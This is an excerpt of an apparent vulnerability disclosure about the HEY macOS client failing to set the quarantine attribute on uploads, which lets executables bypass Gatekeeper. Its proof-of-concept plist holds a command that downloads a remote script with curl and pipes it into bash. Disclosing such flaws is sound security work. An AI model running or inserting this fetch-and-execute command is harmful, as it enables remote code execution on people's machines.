Lack of quarantine macOS attribute(com.apple.quarantine) leads multiple issues including RCE
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原文摘录
摘自原文（1791 字符中的一小部分）
HEY macOS client does not properly validate file uploads on its macOS inbox. That is because, by not setting the `com.apple.quarantine` attribute in the metadata of an executable file when it is uploaded, you allow the file to be executed on macOS without being checked by Gatekeeper.
原文中的代码
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>CommandString</key> <string>curl -Ls https://git.io/vXd2N | bash -s localhost 80 > exploit.sh;</string> …
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